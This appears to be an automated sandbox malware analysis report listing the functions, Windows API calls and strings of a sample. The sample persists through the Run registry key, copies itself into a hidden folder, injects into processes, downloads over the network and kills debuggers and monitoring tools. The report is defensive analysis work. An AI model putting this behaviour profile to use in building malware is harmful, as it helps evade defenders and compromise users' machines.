lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE2239A1

Strings

.exe, xrefs: 00007FF6AE223992

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: 770307421aca36d49bca84c0dfa216b7f98058c76aaad42187d4f31f35ede59f
Instruction ID: 51ac72aedb593330ffada3e2059a2ad2552f3ca27534eb5938cede6c7986c2bd
Opcode Fuzzy Hash: 770307421aca36d49bca84c0dfa216b7f98058c76aaad42187d4f31f35ede59f
Instruction Fuzzy Hash: EC11513263998285DB64AF26F96476A7361FBF4744F409071EA4E83A2CDF3CD404C744

Function 00007FF6AE223A80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6AE223750: GetWindowsDirectoryW.KERNEL32 ref: 00007FF6AE223790
Part of subcall function 00007FF6AE223750: GetVolumeInformationW.KERNELBASE ref: 00007FF6AE22380D
Part of subcall function 00007FF6AE223750: wsprintfW.USER32 ref: 00007FF6AE2238AE

Part of subcall function 00007FF6AE2238D0: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223919
Part of subcall function 00007FF6AE2238D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE22392E
Part of subcall function 00007FF6AE2238D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223941
Part of subcall function 00007FF6AE2238D0: CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223951
Part of subcall function 00007FF6AE2238D0: SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223964
Part of subcall function 00007FF6AE2238D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223979
Part of subcall function 00007FF6AE2238D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE22398C
Part of subcall function 00007FF6AE2238D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE2239A1

GetModuleFileNameW.KERNEL32 ref: 00007FF6AE223AC5
DeleteFileW.KERNELBASE ref: 00007FF6AE223AD0
CopyFileW.KERNELBASE ref: 00007FF6AE223AE9
SetFileAttributesW.KERNELBASE ref: 00007FF6AE223B01

Strings

Services, xrefs: 00007FF6AE223B0C

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: Filelstrcat$AttributesDirectory$CopyCreateDeleteFolderInformationModuleNamePathVolumeWindowswsprintf
String ID: Services
API String ID: 3209240227-2319745855
Opcode ID: 0acc5c0c913d09c4baef432d1e678c95263b87dfc455b2ca94eb538ecf882866
Instruction ID: 5f87ae6c8272ab93a627671f2c399d5b8af6107ac8cf7efe4a7ec89083d0dd23
Opcode Fuzzy Hash: 0acc5c0c913d09c4baef432d1e678c95263b87dfc455b2ca94eb538ecf882866
Instruction Fuzzy Hash: 5E019661B2958793EB60EB25E5503AA7360FBB4744F804072E24DC35ACEE3CD209CB40

Function 00007FF6AE223750 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF6AE223790
GetVolumeInformationW.KERNELBASE ref: 00007FF6AE22380D
wsprintfW.USER32 ref: 00007FF6AE2238AE

Strings

%08lX%04lX%lu, xrefs: 00007FF6AE22389F

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu
API String ID: 3001812590-640692576
Opcode ID: 436ff40bcc19fce939f30fa226a3dd600714662161fd4864c43d5de57ec37882
Instruction ID: 872f0b77f0ed77e3aa10e28f0ca5bc14c3795d360939c223f7768ed96aebb15b
Opcode Fuzzy Hash: 436ff40bcc19fce939f30fa226a3dd600714662161fd4864c43d5de57ec37882
Instruction Fuzzy Hash: 6E31F92662D5C186DB30DB65E5983ABB3A0FBA4740F401136E68DC7A5CDF7DC508CB00

Function 00007FF6AE2239C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF6AE223B18), ref: 00007FF6AE2239F0
RegSetValueExW.KERNELBASE ref: 00007FF6AE223A45
RegCloseKey.ADVAPI32 ref: 00007FF6AE223A54

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF6AE2239E2

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: CloseOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 779948276-1428018034
Opcode ID: 6ccaf934a1ad21da06d80b98267ca208925d24f1eb2aafd50324653644eb1827
Instruction ID: 98dc093ed1c9cfbdd3e4dc7b0ed5bf3ccf034ba3434393625682150790b796d8
Opcode Fuzzy Hash: 6ccaf934a1ad21da06d80b98267ca208925d24f1eb2aafd50324653644eb1827
Instruction Fuzzy Hash: DD11633262CB8186DB909B15F54462A77A0FBA47A0F505230F9AE83BE8DF7CD144CB00

Function 00007FF6AE223B60 Relevance: 1.3, APIs: 1, Instructions: 10
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00007FF6AE223B7C

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d1a65825d00a0a8f886085addddc4effb35e2bef33e2ecafd4a107c231f5f181
Instruction ID: a5eca4823c042947c5ddec0dc89725bfc0174b192377f3fe51086f7bc64ec279
Opcode Fuzzy Hash: d1a65825d00a0a8f886085addddc4effb35e2bef33e2ecafd4a107c231f5f181
Instruction Fuzzy Hash: 72C08CB1F36180C7DB1CEF32E491B0B3A20B7A4740F908028EA4297B88CD3EC2528F00

Function 00007FF6AE223B30 Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE ref: 00007FF6AE223B4E

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4b462866a68ef945608e70b48320bdff337310a325796390ca19b9d3342df2bc
Instruction ID: fbe5c6eedda20a649fd6a377f2eca85076b0aa8ef575e7a1630d835cd6ba9936
Opcode Fuzzy Hash: 4b462866a68ef945608e70b48320bdff337310a325796390ca19b9d3342df2bc
Instruction Fuzzy Hash: FBD01311F3598181E754EB17D5857157250FBD4744F448075F58D41558CF3CC099CF00

Non-executed Functions

Function 00007FF6AE22216C Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 138networksleepmemoryCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF6AE2221B0
Sleep.KERNEL32 ref: 00007FF6AE2221C8
InternetOpenUrlW.WININET ref: 00007FF6AE2221F4
InternetOpenUrlW.WININET ref: 00007FF6AE22222B
InternetCloseHandle.WININET ref: 00007FF6AE222243
Sleep.KERNEL32 ref: 00007FF6AE22224E
HttpQueryInfoA.WININET ref: 00007FF6AE22227E
InternetCloseHandle.WININET ref: 00007FF6AE22228D
InternetCloseHandle.WININET ref: 00007FF6AE222298
Sleep.KERNEL32 ref: 00007FF6AE2222A3
InternetCloseHandle.WININET ref: 00007FF6AE2222BD
InternetOpenUrlW.WININET ref: 00007FF6AE2222E7
InternetCloseHandle.WININET ref: 00007FF6AE2222FF
Sleep.KERNEL32 ref: 00007FF6AE22230A
HttpQueryInfoA.WININET ref: 00007FF6AE222342
GetProcessHeap.KERNEL32 ref: 00007FF6AE222351
RtlAllocateHeap.NTDLL ref: 00007FF6AE222367
InternetCloseHandle.WININET ref: 00007FF6AE22237F
InternetCloseHandle.WININET ref: 00007FF6AE22238A
InternetReadFile.WININET ref: 00007FF6AE2223C7
InternetCloseHandle.WININET ref: 00007FF6AE2223FD
InternetCloseHandle.WININET ref: 00007FF6AE222408

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3, xrefs: 00007FF6AE2221A9

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: Internet$CloseHandle$OpenSleep$HeapHttpInfoQuery$AllocateFileProcessRead
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
API String ID: 2307068205-2771526726
Opcode ID: 13638dc1b1c5aae3aed83746edefc4c73050562fd4d9e98bbe27450033a219e6
Instruction ID: e9467ba3a1345dbec8fde8f4c3f95a12fa3fe204d6eeb702b999c568b0e835bc
Opcode Fuzzy Hash: 13638dc1b1c5aae3aed83746edefc4c73050562fd4d9e98bbe27450033a219e6
Instruction Fuzzy Hash: D971183262DA81C2E764AB56F55472AB7A0FBE4794F105075FA8E83AACCF7DD444CB00

Function 00007FF6AE2210D8 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF6AE2210FC

Strings

RtlCreateUserThread, xrefs: 00007FF6AE22130B
, xrefs: 00007FF6AE2211C5
@, xrefs: 00007FF6AE221215
ntdll, xrefs: 00007FF6AE2212FE

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: OpenProcess
String ID: $@$RtlCreateUserThread$ntdll
API String ID: 3743895883-721857904
Opcode ID: f6177f26ecfa6db8765b7d7ab30776b26dd5ef2a04f7b13f717e068dc597f609
Instruction ID: a644727fed97bbfaa2522d0326f0e5c7351931e7719cc82fb3696ab0d087e30a
Opcode Fuzzy Hash: f6177f26ecfa6db8765b7d7ab30776b26dd5ef2a04f7b13f717e068dc597f609
Instruction Fuzzy Hash: E5713C3291DB8186E770AB16F5447AAB3A1FBA4380F508175E68DC6BACDF7CD584CB40

Function 00007FF6AE223E30 Relevance: 13.5, APIs: 9, Instructions: 44processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF6AE223E43
Process32FirstW.KERNEL32 ref: 00007FF6AE223E76
CloseHandle.KERNEL32 ref: 00007FF6AE223E88

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: a3534e13e2ca229a2334e93633bd457ff5c86ad14382aa1a9374919d11bd80be
Instruction ID: c0afff46fe6b0dcd48dfc31c3b907f81f6460d5f6695bf2b55ff90f7826e24bc
Opcode Fuzzy Hash: a3534e13e2ca229a2334e93633bd457ff5c86ad14382aa1a9374919d11bd80be
Instruction Fuzzy Hash: C6211D31A2DA8681E774AB12F95836A73A1FFF4B54F004274E69D825ACDF3DD449DB00

Function 00007FF6AE2233F8 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00007FF6AE22341F

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 944b2fe71f2013009f42ad989647cac28540f69cfa07b87308eb110b0c3521fb
Instruction ID: ddd4574a2d645074c4ec794446d463b2d03636460e38d3014debc5248c290f69
Opcode Fuzzy Hash: 944b2fe71f2013009f42ad989647cac28540f69cfa07b87308eb110b0c3521fb
Instruction Fuzzy Hash: 5BF04F32E2E14386EE759A03A60437673E0AB79758F9001F5E68C85698DE3CD648CE09

Function 00007FF6AE221444 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00007FF6AE221468

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: fd4e5232eadf4f87905bec873136a68cde2c0ceb075ae6d8ef107053c4164afd
Instruction ID: 4bb70afd604526a1da0640aed54e97e1e3f28cf08e757c6da8d1f1e85fcc0d79
Opcode Fuzzy Hash: fd4e5232eadf4f87905bec873136a68cde2c0ceb075ae6d8ef107053c4164afd
Instruction Fuzzy Hash: F9E0E522E2D15182E7705726E60473A72E1F774B54F904571FA9DC66DCEE6CDA40CB40

Function 00007FF6AE224570 Relevance: 25.7, APIs: 17, Instructions: 155memoryfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6AE2245B7
GetFileSize.KERNEL32 ref: 00007FF6AE2245D8
GetProcessHeap.KERNEL32 ref: 00007FF6AE2245EE
RtlAllocateHeap.NTDLL ref: 00007FF6AE224607
CloseHandle.KERNEL32 ref: 00007FF6AE22461F

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: FileHeap$AllocateCloseCreateHandleProcessSize
String ID:
API String ID: 2693768547-0
Opcode ID: 281709a38610f6278202128174565b7605c8e1cf19e78cd386e0a5044a6a1a24
Instruction ID: a0f18ca6442d4f9a26dc768d1c0c0f6b34adb1084019a6e0cae0687815a7df9b
Opcode Fuzzy Hash: 281709a38610f6278202128174565b7605c8e1cf19e78cd386e0a5044a6a1a24
Instruction Fuzzy Hash: 72811B32619B8182EB54DB56F98436AB7A0FBE9B95F104135EE8D83B68DF7CD044CB00

Function 00007FF6AE223078 Relevance: 16.5, APIs: 1, Strings: 10, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6AE224450: CreateFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE2230B3), ref: 00007FF6AE224498
Part of subcall function 00007FF6AE224450: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE2230B3), ref: 00007FF6AE2244D5
Part of subcall function 00007FF6AE224450: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE2230B3), ref: 00007FF6AE2244E0

Part of subcall function 00007FF6AE223B90: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE2230B8), ref: 00007FF6AE223BD3
Part of subcall function 00007FF6AE223B90: RegSetValueExW.ADVAPI32 ref: 00007FF6AE223C09
Part of subcall function 00007FF6AE223B90: RegCloseKey.ADVAPI32 ref: 00007FF6AE223C18

Part of subcall function 00007FF6AE223C30: RegDeleteKeyW.ADVAPI32 ref: 00007FF6AE223C48

Part of subcall function 00007FF6AE223E30: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF6AE223E43

Part of subcall function 00007FF6AE223E30: Process32FirstW.KERNEL32 ref: 00007FF6AE223E76
Part of subcall function 00007FF6AE223E30: CloseHandle.KERNEL32 ref: 00007FF6AE223E88

Part of subcall function 00007FF6AE223E30: wcscmp.MSVCRT ref: 00007FF6AE223E9D
Part of subcall function 00007FF6AE223E30: OpenProcess.KERNEL32 ref: 00007FF6AE223EB3
Part of subcall function 00007FF6AE223E30: TerminateProcess.KERNEL32 ref: 00007FF6AE223ED6
Part of subcall function 00007FF6AE223E30: CloseHandle.KERNEL32 ref: 00007FF6AE223EE4
Part of subcall function 00007FF6AE223E30: Process32NextW.KERNEL32 ref: 00007FF6AE223EF7
Part of subcall function 00007FF6AE223E30: CloseHandle.KERNEL32 ref: 00007FF6AE223F09

Part of subcall function 00007FF6AE2239C0: RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF6AE223B18), ref: 00007FF6AE2239F0

Sleep.KERNEL32 ref: 00007FF6AE223162

Strings

procexp.exe, xrefs: 00007FF6AE2230EA
autoruns.exe, xrefs: 00007FF6AE223132
idaq.exe, xrefs: 00007FF6AE223126
ProcessHacker.exe, xrefs: 00007FF6AE2230DE
x64dbg.exe, xrefs: 00007FF6AE22310E
TOTALCMD.exe, xrefs: 00007FF6AE223102
procexp64.exe, xrefs: 00007FF6AE2230F6
idaq64.exe, xrefs: 00007FF6AE22311A
Services, xrefs: 00007FF6AE223151
procmon.exe, xrefs: 00007FF6AE22313E

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: Close$Handle$Open$CreateFileProcessProcess32$AttributesDeleteFirstNextSleepSnapshotTerminateToolhelp32Valuewcscmp
String ID: ProcessHacker.exe$Services$TOTALCMD.exe$autoruns.exe$idaq.exe$idaq64.exe$procexp.exe$procexp64.exe$procmon.exe$x64dbg.exe
API String ID: 2853470409-928700279
Opcode ID: 279fda33ac18d26a8aa4f036a6ea5727a47bf55fa1b9fed43bc03c8fe3f26106
Instruction ID: 32d97818e8a3b50a9ed3fd5e2985ed097b19356cb5ca82309e836fffebb44590
Opcode Fuzzy Hash: 279fda33ac18d26a8aa4f036a6ea5727a47bf55fa1b9fed43bc03c8fe3f26106
Instruction Fuzzy Hash: DD21A921E3A58392EA14FB23EA515B53355AF70350F8005B1F41EC61EEDE7CE909C711

Function 00007FF6AE222E08 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 32synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF6AE222E21
ReleaseMutex.KERNEL32 ref: 00007FF6AE222E39
CloseHandle.KERNEL32 ref: 00007FF6AE222E44
GetLastError.KERNEL32 ref: 00007FF6AE222E51
ReleaseMutex.KERNEL32 ref: 00007FF6AE222E63
CloseHandle.KERNEL32 ref: 00007FF6AE222E6E

Strings

rbNSpGEsyb, xrefs: 00007FF6AE222E0C

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID: rbNSpGEsyb
API String ID: 299056699-189039185
Opcode ID: 9c3a1fa2930bd4c4931f773c359433a412b5a980c5de1ef126c7f09276534dfe
Instruction ID: d0b0faa3c6889a6c30a28f4b9cc0ce0d5f0484165abbee9a9fde643bac4c3398
Opcode Fuzzy Hash: 9c3a1fa2930bd4c4931f773c359433a412b5a980c5de1ef126c7f09276534dfe
Instruction Fuzzy Hash: 18014822A2EA4282E734AB12E9442297770FBF8B94F440571F94EC2678CF3CE5858600

Function 00007FF6AE222EA8 Relevance: 12.0, APIs: 8, Instructions: 31synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF6AE222EBA
ReleaseMutex.KERNEL32 ref: 00007FF6AE222ED2
CloseHandle.KERNEL32 ref: 00007FF6AE222EDD
GetLastError.KERNEL32 ref: 00007FF6AE222EEA
